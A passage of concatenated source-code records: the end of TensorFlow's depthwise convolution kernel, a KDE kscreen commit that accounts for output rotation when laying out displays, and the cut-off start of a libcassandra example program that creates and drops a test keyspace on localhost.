(out_r + args.out_rows * b));\n            output[output_offset] = sum;\n          }\n        }\n      }\n    }\n  }\n};\n\n#if GOOGLE_CUDA\n\ntemplate <typename T>\nstruct DepthwiseConv2dGPULaunch {\n  void Run(const GPUDevice& d, const DepthwiseArgs args, const T* input,\n           const T* filter, T* output);\n};\n\ntemplate <typename T>\nstruct LaunchDepthwiseConvOp<GPUDevice, T> {\n  static void launch(OpKernelContext* ctx, const DepthwiseArgs args,\n                     const T* input, const T* filter, T* output) {\n    const GPUDevice& d = ctx->eigen_device<GPUDevice>();\n    DepthwiseConv2dGPULaunch<T>().Run(d, args, input, filter, output);\n    auto stream = ctx->op_device_context<GPUDeviceContext>()->stream();\n    OP_REQUIRES(ctx, stream->ok(),\n                errors::Internal(\"Launch of gpu kernel for SplitOp failed\"));\n  }\n};\n\n#endif\n\ntemplate <typename Device, typename T>\nclass DepthwiseConv2dNativeOp : public BinaryOp<T> {\n public:\n  explicit DepthwiseConv2dNativeOp(OpKernelConstruction* context)\n      : BinaryOp<T>(context) {\n    OP_REQUIRES_OK(context, context->GetAttr(\"strides\", &strides_));\n    OP_REQUIRES(context, strides_.size() == 4,\n                errors::InvalidArgument(\"Sliding window strides field must \"\n                                        \"specify 4 dimensions\"));\n    OP_REQUIRES(context, strides_[1] == strides_[2],\n                errors::InvalidArgument(\n                    \"Current implementation only supports equal length \"\n                    \"strides in the row and column dimensions.\"));\n    OP_REQUIRES(\n        context, (strides_[0] == 1 && strides_[3] == 1),\n        errors::InvalidArgument(\"Current implementation does not yet support \"\n                                \"strides in the batch and depth dimensions.\"));\n    OP_REQUIRES_OK(context, context->GetAttr(\"padding\", &padding_));\n  }\n\n  void Compute(OpKernelContext* context) override {\n    \/\/ Input tensor is of the following dimensions:\n    \/\/ [ batch, in_rows, in_cols, in_depth ]\n    const Tensor& input = context->input(0);\n    auto input_ptr = input.template flat<T>().data();\n\n    \/\/ Input filter is of the following dimensions:\n    \/\/ [ filter_rows, filter_cols, in_depth, depth_multiplier]\n    const Tensor& filter = context->input(1);\n    auto filter_ptr = filter.template flat<T>().data();\n\n    \/\/ For 2D convolution, there should be 4 dimensions.\n    OP_REQUIRES(context, input.dims() == 4,\n                errors::InvalidArgument(\"input must be 4-dimensional\",\n                                        input.shape().DebugString()));\n    OP_REQUIRES(context, filter.dims() == 4,\n                errors::InvalidArgument(\"filter must be 4-dimensional: \",\n                                        filter.shape().DebugString()));\n\n    \/\/ The last dimension for input is in_depth. It must be the same as the\n    \/\/ filter's in_depth.\n    const int32 in_depth = input.dim_size(3);\n    OP_REQUIRES(\n        context, in_depth == filter.dim_size(2),\n        errors::InvalidArgument(\"input and filter must have the same depth: \",\n                                in_depth, \" vs \", filter.dim_size(2)));\n\n    \/\/ The last dimension for filter is depth multiplier.\n    const int32 depth_multiplier = filter.dim_size(3);\n\n    \/\/ The output depth is input depth x depth multipler\n    const int32 out_depth = in_depth * depth_multiplier;\n\n    \/\/ The second dimension for input is rows\/height.\n    \/\/ The first dimension for filter is rows\/height.\n    const int32 input_rows = input.dim_size(1);\n    const int32 filter_rows = filter.dim_size(0);\n\n    \/\/ The third dimension for input is columns\/width.\n    \/\/ The second dimension for filter is columns\/width.\n    const int32 input_cols = input.dim_size(2);\n    const int32 filter_cols = filter.dim_size(1);\n\n    \/\/ The first dimension for input is batch.\n    const int32 batch = input.dim_size(0);\n\n    \/\/ For now we take the stride from the second dimension only (we\n    \/\/ assume row = col stride, and do not support striding on the\n    \/\/ batch or depth dimension).\n    const int32 stride = strides_[1];\n\n    int32 out_rows = 0, out_cols = 0, pad_rows = 0, pad_cols = 0;\n    OP_REQUIRES_OK(context,\n                   Get2dOutputSize(input_rows, input_cols, filter_rows,\n                                   filter_cols, stride, stride, padding_,\n                                   &out_rows, &out_cols, &pad_rows, &pad_cols));\n    TensorShape out_shape({batch, out_rows, out_cols, out_depth});\n    OP_REQUIRES(\n        context, out_shape.num_elements() <= 2147483647,\n        errors::InvalidArgument(\"total number of outputs should be within the \"\n                                \"range of int which is used in the GPU kernel\",\n                                in_depth, \" vs \", filter.dim_size(2)));\n\n    \/\/ Output tensor is of the following dimensions:\n    \/\/ [ in_batch, out_rows, out_cols, out_depth ]\n    Tensor* output = nullptr;\n    OP_REQUIRES_OK(context, context->allocate_output(0, out_shape, &output));\n    auto output_ptr = output->template flat<T>().data();\n\n    DepthwiseArgs args;\n    args.batch = batch;\n    args.in_rows = input_rows;\n    args.in_cols = input_cols;\n    args.in_depth = in_depth;\n    args.filter_rows = filter_rows;\n    args.filter_cols = filter_cols;\n    args.depth_multiplier = depth_multiplier;\n    args.stride = stride;\n    args.pad_rows = pad_rows;\n    args.pad_cols = pad_cols;\n    args.out_rows = out_rows;\n    args.out_cols = out_cols;\n    args.out_depth = out_depth;\n\n    VLOG(2) << \"DepthwiseConv2dNative: \"\n            << \" Input: [\" << batch << \", \" << input_rows << \", \" << input_cols\n            << \", \" << in_depth << \"]; Filter: [\" << filter_rows << \", \"\n            << filter_cols << \", \" << in_depth << \", \" << depth_multiplier\n            << \"]; stride = \" << stride << \", pad_rows = \" << pad_rows\n            << \", pad_cols = \" << pad_cols << \", output: [\" << batch << \", \"\n            << out_rows << \", \" << out_cols << \", \" << out_depth << \"]\";\n\n    \/\/ If there is nothing to compute, return.\n    if (out_shape.num_elements() == 0) {\n      return;\n    }\n    LaunchDepthwiseConvOp<Device, T>::launch(context, args, input_ptr,\n                                             filter_ptr, output_ptr);\n  }\n\n private:\n  std::vector<int32> strides_;\n  Padding padding_;\n\n  TF_DISALLOW_COPY_AND_ASSIGN(DepthwiseConv2dNativeOp);\n};\n\nREGISTER_KERNEL_BUILDER(\n    Name(\"DepthwiseConv2dNative\").Device(DEVICE_CPU).TypeConstraint<float>(\"T\"),\n    DepthwiseConv2dNativeOp<CPUDevice, float>);\n\nREGISTER_KERNEL_BUILDER(Name(\"DepthwiseConv2dNative\")\n                            .Device(DEVICE_CPU)\n                            .TypeConstraint<double>(\"T\"),\n                        DepthwiseConv2dNativeOp<CPUDevice, double>);\n\n#if GOOGLE_CUDA\nREGISTER_KERNEL_BUILDER(\n    Name(\"DepthwiseConv2dNative\").Device(DEVICE_GPU).TypeConstraint<float>(\"T\"),\n    DepthwiseConv2dNativeOp<GPUDevice, float>);\n\nREGISTER_KERNEL_BUILDER(Name(\"DepthwiseConv2dNative\")\n                            .Device(DEVICE_GPU)\n                            .TypeConstraint<double>(\"T\"),\n                        DepthwiseConv2dNativeOp<GPUDevice, double>);\n#endif\n\n}  \/\/ namespace tensorflow\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************************\n *  Copyright (C) 2012 by Alejandro Fiestas Olivares <afiestas@kde.org>              *\n *                                                                                   *\n *  This program is free software; you can redistribute it and\/or                    *\n *  modify it under the terms of the GNU General Public License                      *\n *  as published by the Free Software Foundation; either version 2                   *\n *  of the License, or (at your option) any later version.                           *\n *                                                                                   *\n *  This program is distributed in the hope that it will be useful,                  *\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of                   *\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                    *\n *  GNU General Public License for more details.                                     *\n *                                                                                   *\n *  You should have received a copy of the GNU General Public License                *\n *  along with this program; if not, write to the Free Software                      *\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA   *\n *************************************************************************************\/\n\n#include \"generator.h\"\n#include \"device.h\"\n\n#include <QtCore\/QDebug>\n\n#include <QDBusReply>\n#include <QDBusMessage>\n#include <QDBusConnection>\n\n#include <kscreen\/config.h>\n\nGenerator* Generator::instance = 0;\n\nGenerator* Generator::self()\n{\n    if (!Generator::instance) {\n        Generator::instance = new Generator();\n    }\n    return Generator::instance;\n}\n\nGenerator::Generator()\n : QObject()\n , m_isReady(false)\n , m_forceLaptop(false)\n , m_forceLidClosed(false)\n , m_forceDocked(false)\n{\n    connect(Device::self(), SIGNAL(ready()), SIGNAL(ready()));\n}\n\nvoid Generator::destroy()\n{\n    delete Generator::instance;\n}\n\nGenerator::~Generator()\n{\n}\n\nKScreen::Config* Generator::idealConfig()\n{\n    KScreen::Config* config = KScreen::Config::current();\n    disableAllDisconnectedOutputs(config->outputs());\n\n    KScreen::OutputList outputs = config->connectedOutputs();\n\n    if (outputs.count() == 1) {\n        singleOutput(outputs);\n        return config;\n    }\n\n    if (isLaptop()) {\n        laptop(outputs);\n        return config;\n    }\n\n    extendToRight(outputs);\n\n    return config;\n}\n\nKScreen::Config* Generator::displaySwitch(int iteration)\n{\n    KScreen::Config* config = KScreen::Config::current();\n    KScreen::OutputList outputs = config->connectedOutputs();\n\n    if (outputs.count() < 2) {\n        singleOutput(outputs);\n        return config;\n    }\n\n    if (outputs.count() > 2) {\n        extendToRight(outputs);\n        return config;\n    }\n\n    KScreen::Output* embedded, *external;\n    embedded = embeddedOutput(outputs);\n    outputs.remove(embedded->id());\n    external = outputs.value(outputs.keys().first());\n\n    \/\/Clone\n    if (iteration == 1) {\n        KScreen::ModeList modes = embedded->modes();\n        QMap<int, QSize> embeddedModeSize;\n        Q_FOREACH(KScreen::Mode* mode, modes) {\n            embeddedModeSize.insert(mode->id(), mode->size());\n        }\n\n        QList<int> embeddedKeys;\n        KScreen::ModeList externalCommon;\n        KScreen::ModeList externalModes = external->modes();\n        Q_FOREACH(KScreen::Mode* mode, externalModes) {\n            if (!embeddedModeSize.keys(mode->size()).isEmpty()) {\n                externalCommon.insert(mode->id(), mode);\n                embeddedKeys.append(embeddedModeSize.keys(mode->size()));\n            }\n        }\n\n        KScreen::ModeList embeddedCommon;\n        Q_FOREACH(int key, embeddedKeys) {\n            embeddedCommon.insert(key, modes[key]);\n        }\n\n        KScreen::Mode* biggestEmbedded = biggestMode(embeddedCommon);\n        KScreen::Mode* biggestExternal = biggestMode(externalCommon);\n\n        embedded->setEnabled(true);\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentMode(biggestEmbedded->id());\n        external->setEnabled(true);\n        external->setPos(QPoint(0,0));\n        external->setCurrentMode(biggestExternal->id());\n\n        return config;\n    }\n\n    \/\/Extend left\n    if (iteration == 2) {\n        external->setEnabled(true);\n        external->setCurrentMode(external->preferredMode());\n\n        QSize size = external->mode(external->currentMode())->size();\n        embedded->setPos(QPoint(size.width(), 0));\n        embedded->setEnabled(true);\n        embedded->setCurrentMode(embedded->preferredMode());\n        embedded->setPrimary(true);\n        return config;\n    }\n\n    \/\/Turn of embedded\n    if (iteration == 3) {\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        external->setEnabled(true);\n        external->setPrimary(true);\n        external->setCurrentMode(external->preferredMode());\n        return config;\n    }\n\n    \/\/Turn off external\n    if (iteration == 4) {\n        embedded->setEnabled(true);\n        embedded->setPrimary(true);\n        embedded->setCurrentMode(embedded->preferredMode());\n\n        external->setEnabled(false);\n        external->setPrimary(false);\n        return config;\n    }\n\n    \/\/Extend right\n    if (iteration == 5) {\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentMode(embedded->preferredMode());\n        embedded->setPrimary(true);\n        embedded->setEnabled(true);\n\n        QSize size = embedded->mode(embedded->currentMode())->size();\n        external->setPos(QPoint(size.width(), 0));\n        external->setEnabled(true);\n        external->setCurrentMode(external->preferredMode());\n        external->setPrimary(false);\n\n        return config;\n    }\n\n    return config;\n}\n\nvoid Generator::singleOutput(KScreen::OutputList& outputs)\n{\n    qDebug() << \"Config for one output\";\n    KScreen::Output* output = outputs.take(outputs.keys().first());\n    output->setCurrentMode(output->preferredMode());\n}\n\nvoid Generator::laptop(KScreen::OutputList& outputs)\n{\n    qDebug() << \"Config for a laptop\";\n\n    KScreen::Output* embedded = embeddedOutput(outputs);\n    outputs.remove(embedded->id());\n\n    if (outputs.isEmpty() || !embedded) {\n        qWarning(\"Neither external outputs or embedded could be found\");\n        return;\n    }\n\n    if (isLidClosed() && outputs.count() == 1) {\n        qDebug() << \"With lid closed\";\n        embedded->setEnabled(false);\n\n        KScreen::Output* external = outputs.value(outputs.keys().first());\n        external->setEnabled(true);\n        external->setCurrentMode(external->preferredMode());\n        external->setPrimary(true);\n\n        return;\n    }\n\n    if (isLidClosed() && outputs.count() > 1) {\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        extendToRight(outputs);\n        return;\n    }\n\n    \/\/If lid is open, laptop screen shuold be primary\n    embedded->setPos(QPoint(0,0));\n    embedded->setCurrentMode(embedded->preferredMode());\n    embedded->setPrimary(true);\n    embedded->setEnabled(true);\n\n    QSize globalSize = embedded->mode(embedded->preferredMode())->size();\n    KScreen::Output* biggest = biggestOutput(outputs);\n    outputs.remove(biggest->id());\n\n    biggest->setPos(QPoint(globalSize.width(), 0));\n    biggest->setEnabled(true);\n    biggest->setCurrentMode(biggest->preferredMode());\n    biggest->setPrimary(false);\n\n    QSize size;\n    globalSize += biggest->mode(biggest->currentMode())->size();\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        output->setEnabled(true);\n        output->setCurrentMode(output->preferredMode());\n        output->setPos(QPoint(globalSize.width(), 0));\n\n        size = output->mode(output->currentMode())->size();\n        globalSize += size;\n    }\n\n    if (isDocked()) {\n        qDebug() << \"Docked\";\n        embedded->setPrimary(false);\n        biggest->setPrimary(true);\n    }\n\n    return;\n}\n\nvoid Generator::extendToRight(KScreen::OutputList& outputs)\n{\n    KScreen::Output* biggest = biggestOutput(outputs);\n    outputs.remove(biggest->id());\n\n    biggest->setEnabled(true);\n    biggest->setPrimary(true);\n    biggest->setCurrentMode(biggest->preferredMode());\n    biggest->setPos(QPoint(0,0));\n\n    QSize size;\n    QSize globalSize = biggest->mode(biggest->currentMode())->size();\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        output->setEnabled(true);\n        output->setPrimary(false);\n        output->setCurrentMode(output->preferredMode());\n        output->setPos(QPoint(globalSize.width(), 0));\n\n        size = output->mode(output->currentMode())->size();\n        globalSize += size;\n    }\n}\n\nKScreen::Mode* Generator::biggestMode(const KScreen::ModeList& modes)\n{\n    int area, total = 0;\n    KScreen::Mode* biggest = 0;\n    Q_FOREACH(KScreen::Mode* mode, modes) {\n        area = mode->size().width() * mode->size().height();\n        if (area < total) {\n            continue;\n        }\n        if (area == total && mode->refreshRate() > biggest->refreshRate()) {\n            biggest = mode;\n            continue;\n        }\n\n        total = area;\n        biggest = mode;\n    }\n\n    return biggest;\n}\n\nKScreen::Output* Generator::biggestOutput(const KScreen::OutputList &outputs)\n{\n    int area, total = 0;\n    KScreen::Output* biggest = 0;\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        KScreen::Mode* mode = output->mode(output->preferredMode());\n        area = mode->size().width() * mode->size().height();\n        if (area < total) {\n            continue;\n        }\n\n        total = area;\n        biggest = output;\n    }\n\n    return biggest;\n}\n\nvoid Generator::disableAllDisconnectedOutputs(const KScreen::OutputList& outputs)\n{\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        if (!output->isConnected()) {\n            output->setEnabled(false);\n        }\n    }\n}\n\nKScreen::Output* Generator::embeddedOutput(const KScreen::OutputList& outputs)\n{\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        if (!isEmbedded(output->name())) {\n            continue;\n        }\n\n        return output;\n    }\n\n    return 0;\n}\n\nbool Generator::isEmbedded(const QString& name)\n{\n    QStringList embedded;\n    embedded << \"LVDS\";\n    embedded << \"IDP\";\n    embedded << \"EDP\";\n\n    Q_FOREACH(const QString &pre, embedded) {\n        if (name.toUpper().startsWith(pre)) {\n            qDebug() << \"This is embedded: \" << name;\n            return true;\n        }\n    }\n\n    return false;\n}\n\nbool Generator::isLaptop()\n{\n    if (m_forceLaptop) {\n        return true;\n    }\n\n    return Device::self()->isLaptop();\n}\n\nbool Generator::isLidClosed()\n{\n    if (m_forceLidClosed) {\n        return true;\n    }\n\n    return Device::self()->isLidClosed();\n}\n\nbool Generator::isDocked()\n{\n    if (m_forceDocked) {\n        return true;\n    }\n\n    return Device::self()->isDocked();\n}\n\nvoid Generator::setForceLaptop(bool force)\n{\n    m_forceLaptop = force;\n}\n\nvoid Generator::setForceLidClosed(bool force)\n{\n    m_forceLidClosed = force;\n}\n\nvoid Generator::setForceDocked(bool force)\n{\n    m_forceDocked = force;\n}\n<commit_msg>Take output rotation in account when generating config<commit_after>\/*************************************************************************************\n *  Copyright (C) 2012 by Alejandro Fiestas Olivares <afiestas@kde.org>              *\n *                                                                                   *\n *  This program is free software; you can redistribute it and\/or                    *\n *  modify it under the terms of the GNU General Public License                      *\n *  as published by the Free Software Foundation; either version 2                   *\n *  of the License, or (at your option) any later version.                           *\n *                                                                                   *\n *  This program is distributed in the hope that it will be useful,                  *\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of                   *\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                    *\n *  GNU General Public License for more details.                                     *\n *                                                                                   *\n *  You should have received a copy of the GNU General Public License                *\n *  along with this program; if not, write to the Free Software                      *\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA   *\n *************************************************************************************\/\n\n#include \"generator.h\"\n#include \"device.h\"\n\n#include <QtCore\/QDebug>\n\n#include <QDBusReply>\n#include <QDBusMessage>\n#include <QDBusConnection>\n\n#include <kscreen\/config.h>\n\nGenerator* Generator::instance = 0;\n\nGenerator* Generator::self()\n{\n    if (!Generator::instance) {\n        Generator::instance = new Generator();\n    }\n    return Generator::instance;\n}\n\nGenerator::Generator()\n : QObject()\n , m_isReady(false)\n , m_forceLaptop(false)\n , m_forceLidClosed(false)\n , m_forceDocked(false)\n{\n    connect(Device::self(), SIGNAL(ready()), SIGNAL(ready()));\n}\n\nvoid Generator::destroy()\n{\n    delete Generator::instance;\n}\n\nGenerator::~Generator()\n{\n}\n\nKScreen::Config* Generator::idealConfig()\n{\n    KScreen::Config* config = KScreen::Config::current();\n    disableAllDisconnectedOutputs(config->outputs());\n\n    KScreen::OutputList outputs = config->connectedOutputs();\n\n    if (outputs.count() == 1) {\n        singleOutput(outputs);\n        return config;\n    }\n\n    if (isLaptop()) {\n        laptop(outputs);\n        return config;\n    }\n\n    extendToRight(outputs);\n\n    return config;\n}\n\nKScreen::Config* Generator::displaySwitch(int iteration)\n{\n    KScreen::Config* config = KScreen::Config::current();\n    KScreen::OutputList outputs = config->connectedOutputs();\n\n    if (outputs.count() < 2) {\n        singleOutput(outputs);\n        return config;\n    }\n\n    if (outputs.count() > 2) {\n        extendToRight(outputs);\n        return config;\n    }\n\n    KScreen::Output* embedded, *external;\n    embedded = embeddedOutput(outputs);\n    outputs.remove(embedded->id());\n    external = outputs.value(outputs.keys().first());\n\n    \/\/Clone\n    if (iteration == 1) {\n        KScreen::ModeList modes = embedded->modes();\n        QMap<int, QSize> embeddedModeSize;\n        Q_FOREACH(KScreen::Mode* mode, modes) {\n            embeddedModeSize.insert(mode->id(), mode->size());\n        }\n\n        QList<int> embeddedKeys;\n        KScreen::ModeList externalCommon;\n        KScreen::ModeList externalModes = external->modes();\n        Q_FOREACH(KScreen::Mode* mode, externalModes) {\n            if (!embeddedModeSize.keys(mode->size()).isEmpty()) {\n                externalCommon.insert(mode->id(), mode);\n                embeddedKeys.append(embeddedModeSize.keys(mode->size()));\n            }\n        }\n\n        KScreen::ModeList embeddedCommon;\n        Q_FOREACH(int key, embeddedKeys) {\n            embeddedCommon.insert(key, modes[key]);\n        }\n\n        KScreen::Mode* biggestEmbedded = biggestMode(embeddedCommon);\n        KScreen::Mode* biggestExternal = biggestMode(externalCommon);\n\n        embedded->setEnabled(true);\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentMode(biggestEmbedded->id());\n        external->setEnabled(true);\n        external->setPos(QPoint(0,0));\n        external->setCurrentMode(biggestExternal->id());\n\n        return config;\n    }\n\n    \/\/Extend left\n    if (iteration == 2) {\n        external->setEnabled(true);\n        external->setCurrentMode(external->preferredMode());\n\n        QSize size = external->mode(external->currentMode())->size();\n        embedded->setPos(QPoint(size.width(), 0));\n        embedded->setEnabled(true);\n        embedded->setCurrentMode(embedded->preferredMode());\n        embedded->setPrimary(true);\n        return config;\n    }\n\n    \/\/Turn of embedded\n    if (iteration == 3) {\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        external->setEnabled(true);\n        external->setPrimary(true);\n        external->setCurrentMode(external->preferredMode());\n        return config;\n    }\n\n    \/\/Turn off external\n    if (iteration == 4) {\n        embedded->setEnabled(true);\n        embedded->setPrimary(true);\n        embedded->setCurrentMode(embedded->preferredMode());\n\n        external->setEnabled(false);\n        external->setPrimary(false);\n        return config;\n    }\n\n    \/\/Extend right\n    if (iteration == 5) {\n        embedded->setPos(QPoint(0,0));\n        embedded->setCurrentMode(embedded->preferredMode());\n        embedded->setPrimary(true);\n        embedded->setEnabled(true);\n\n        QSize size = embedded->mode(embedded->currentMode())->size();\n        external->setPos(QPoint(size.width(), 0));\n        external->setEnabled(true);\n        external->setCurrentMode(external->preferredMode());\n        external->setPrimary(false);\n\n        return config;\n    }\n\n    return config;\n}\n\nvoid Generator::singleOutput(KScreen::OutputList& outputs)\n{\n    qDebug() << \"Config for one output\";\n    KScreen::Output* output = outputs.take(outputs.keys().first());\n    output->setCurrentMode(output->preferredMode());\n}\n\nvoid Generator::laptop(KScreen::OutputList& outputs)\n{\n    qDebug() << \"Config for a laptop\";\n\n    KScreen::Output* embedded = embeddedOutput(outputs);\n    outputs.remove(embedded->id());\n\n    if (outputs.isEmpty() || !embedded) {\n        qWarning(\"Neither external outputs or embedded could be found\");\n        return;\n    }\n\n    if (isLidClosed() && outputs.count() == 1) {\n        qDebug() << \"With lid closed\";\n        embedded->setEnabled(false);\n\n        KScreen::Output* external = outputs.value(outputs.keys().first());\n        external->setEnabled(true);\n        external->setCurrentMode(external->preferredMode());\n        external->setPrimary(true);\n\n        return;\n    }\n\n    if (isLidClosed() && outputs.count() > 1) {\n        embedded->setEnabled(false);\n        embedded->setPrimary(false);\n\n        extendToRight(outputs);\n        return;\n    }\n\n    \/\/If lid is open, laptop screen shuold be primary\n    embedded->setPos(QPoint(0,0));\n    embedded->setCurrentMode(embedded->preferredMode());\n    embedded->setPrimary(true);\n    embedded->setEnabled(true);\n\n    int globalWidth;\n    if ((embedded->rotation() == KScreen::Output::None) ||\n        (embedded->rotation() == KScreen::Output::Inverted)) {\n        globalWidth = embedded->mode(embedded->preferredMode())->size().width();\n    } else {\n        globalWidth = embedded->mode(embedded->preferredMode())->size().height();\n    }\n    KScreen::Output* biggest = biggestOutput(outputs);\n    outputs.remove(biggest->id());\n\n    biggest->setPos(QPoint(globalWidth, 0));\n    biggest->setEnabled(true);\n    biggest->setCurrentMode(biggest->preferredMode());\n    biggest->setPrimary(false);\n\n    if ((biggest->rotation() == KScreen::Output::None) ||\n        (biggest->rotation() == KScreen::Output::Inverted)) {\n        globalWidth += biggest->mode(biggest->currentMode())->size().width();\n    } else {\n        globalWidth += biggest->mode(biggest->currentMode())->size().height();\n    }\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        output->setEnabled(true);\n        output->setCurrentMode(output->preferredMode());\n        output->setPos(QPoint(globalWidth, 0));\n\n        if ((output->rotation() == KScreen::Output::None) ||\n            (output->rotation() == KScreen::Output::Inverted)) {\n            globalWidth += output->mode(output->currentMode())->size().width();\n        } else {\n            globalWidth += output->mode(output->currentMode())->size().height();\n        }\n    }\n\n    if (isDocked()) {\n        qDebug() << \"Docked\";\n        embedded->setPrimary(false);\n        biggest->setPrimary(true);\n    }\n\n    return;\n}\n\nvoid Generator::extendToRight(KScreen::OutputList& outputs)\n{\n    KScreen::Output* biggest = biggestOutput(outputs);\n    outputs.remove(biggest->id());\n\n    biggest->setEnabled(true);\n    biggest->setPrimary(true);\n    biggest->setCurrentMode(biggest->preferredMode());\n    biggest->setPos(QPoint(0,0));\n\n    int globalWidth;\n    if ((biggest->rotation() == KScreen::Output::None) ||\n        (biggest->rotation() == KScreen::Output::Inverted)) {\n        globalWidth = biggest->mode(biggest->currentMode())->size().width();\n    } else {\n        globalWidth = biggest->mode(biggest->currentMode())->size().height();\n    }\n\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        output->setEnabled(true);\n        output->setPrimary(false);\n        output->setCurrentMode(output->preferredMode());\n        output->setPos(QPoint(globalWidth, 0));\n\n        if ((output->rotation() == KScreen::Output::None) ||\n            (output->rotation() == KScreen::Output::Inverted)) {\n            globalWidth += output->mode(output->currentMode())->size().width();\n        } else {\n            globalWidth += output->mode(output->currentMode())->size().height();\n        }\n    }\n}\n\nKScreen::Mode* Generator::biggestMode(const KScreen::ModeList& modes)\n{\n    int area, total = 0;\n    KScreen::Mode* biggest = 0;\n    Q_FOREACH(KScreen::Mode* mode, modes) {\n        area = mode->size().width() * mode->size().height();\n        if (area < total) {\n            continue;\n        }\n        if (area == total && mode->refreshRate() > biggest->refreshRate()) {\n            biggest = mode;\n            continue;\n        }\n\n        total = area;\n        biggest = mode;\n    }\n\n    return biggest;\n}\n\nKScreen::Output* Generator::biggestOutput(const KScreen::OutputList &outputs)\n{\n    int area, total = 0;\n    KScreen::Output* biggest = 0;\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        KScreen::Mode* mode = output->mode(output->preferredMode());\n        area = mode->size().width() * mode->size().height();\n        if (area < total) {\n            continue;\n        }\n\n        total = area;\n        biggest = output;\n    }\n\n    return biggest;\n}\n\nvoid Generator::disableAllDisconnectedOutputs(const KScreen::OutputList& outputs)\n{\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        if (!output->isConnected()) {\n            output->setEnabled(false);\n        }\n    }\n}\n\nKScreen::Output* Generator::embeddedOutput(const KScreen::OutputList& outputs)\n{\n    Q_FOREACH(KScreen::Output* output, outputs) {\n        if (!isEmbedded(output->name())) {\n            continue;\n        }\n\n        return output;\n    }\n\n    return 0;\n}\n\nbool Generator::isEmbedded(const QString& name)\n{\n    QStringList embedded;\n    embedded << \"LVDS\";\n    embedded << \"IDP\";\n    embedded << \"EDP\";\n\n    Q_FOREACH(const QString &pre, embedded) {\n        if (name.toUpper().startsWith(pre)) {\n            qDebug() << \"This is embedded: \" << name;\n            return true;\n        }\n    }\n\n    return false;\n}\n\nbool Generator::isLaptop()\n{\n    if (m_forceLaptop) {\n        return true;\n    }\n\n    return Device::self()->isLaptop();\n}\n\nbool Generator::isLidClosed()\n{\n    if (m_forceLidClosed) {\n        return true;\n    }\n\n    return Device::self()->isLidClosed();\n}\n\nbool Generator::isDocked()\n{\n    if (m_forceDocked) {\n        return true;\n    }\n\n    return Device::self()->isDocked();\n}\n\nvoid Generator::setForceLaptop(bool force)\n{\n    m_forceLaptop = force;\n}\n\nvoid Generator::setForceLidClosed(bool force)\n{\n    m_forceLidClosed = force;\n}\n\nvoid Generator::setForceDocked(bool force)\n{\n    m_forceDocked = force;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <string.h>\n#include <sstream>\n#include <iostream>\n#include <stdlib.h>\n#include <set>\n#include <string>\n#include <stdio.h>\n\n#include <libcassandra\/connection_manager.h>\n#include <libcassandra\/cassandra.h>\n#include <libcassandra\/column_family_definition.h>\n#include <libcassandra\/keyspace.h>\n#include <libcassandra\/keyspace_definition.h>\n\nusing namespace std;\nusing namespace org::apache::cassandra;\nusing namespace libcassandra;\n\nstatic string host(\"127.0.0.1\");\nstatic int port= 9160;\nstatic size_t pool_size = 16;\nint main()\n{\n    CassandraConnectionManager::instance()->init(host,port,pool_size);\n    boost::shared_ptr<Cassandra> client(new Cassandra());\n\n    string clus_name= client->getClusterName();\n    cout << \"cluster name: \" << clus_name << endl;\n\n    try\n    {\n        const string ks_name(\"___drizzle___\");\n        const string key(\"sarah\");\n        const string col_value(\"this is data being inserted!\");\n        const string col_family(\"Data\");\n        const string col_name(\"third\");\n        ColumnParent col_parent;\n        col_parent.__set_column_family(col_family);\n        SlicePredicate pred;\n\n        \/* create keyspace *\/\n        cout << \"Create keyspace: \" << ks_name << endl;\n        KeyspaceDefinition ks_def;\n        ks_def.setName(ks_name);\n        if (client->findKeyspace(ks_name))\n        {\n            client->dropKeyspace(ks_name);\n        }\n        client->createKeyspace(ks_def);\n        client->setKeyspace(ks_def.getName());\n\n        cout << \"Current keyspaces are:\" << endl;\n        {\n            const map<string, KeyspaceDefinition>& key_out= client->getKeyspaces();\n            for (map<string, KeyspaceDefinition>::const_iterator it = key_out.begin(); it != key_out.end(); ++it)\n            {\n                cout << it->first << endl;\n            }\n        }\n        cout << endl;\n\n        \/* create standard column family *\/\n        ColumnFamilyDefinition cf_def;\n        cf_def.setName(col_family);\n        cf_def.setKeyspaceName(ks_def.getName());\n        client->createColumnFamily(cf_def);\n        cout << \"Now we have \" << client->getCount(key, col_parent, pred) << \" column(s) in the column family.\" << endl << endl;\n\n        \/* insert data *\/\n        cout << \"Value will be inserted is: \" << col_value << endl;\n        client->insertColumn(col_value, key, col_family, col_name);\n        cout << endl << \"Inserting....\" << endl;\n\n        \/* retrieve that data *\/\n        cout << \"Now we have \" << client->getCount(key, col_parent, pred) << \" column(s) in the column family.\" << endl << endl;\n        string res;\n        client->getColumnValue(res, key, col_family, col_name);\n        cout << \"Value in column retrieved is: \" << res << endl;\n\n        \/* delete data *\/\n        cout << endl << \"Deleting....\" << endl;\n        client->removeColumn(key, col_family, col_name);\n        cout << \"Now we have \" << client->getCount(key, col_parent, pred) << \" column(s) in the column family.\" << endl << endl;\n\n        \/* drop column family and keyspace *\/\n        client->dropColumnFamily(col_family);\n        cout << \"Drop keyspace: \" << ks_name << endl;\n        client->dropKeyspace(ks_name);\n\n        cout << \"Current keyspaces are:\" << endl;\n        {\n            const map<string, KeyspaceDefinition>& key_out= client->getKeyspaces();\n            for (map<string, 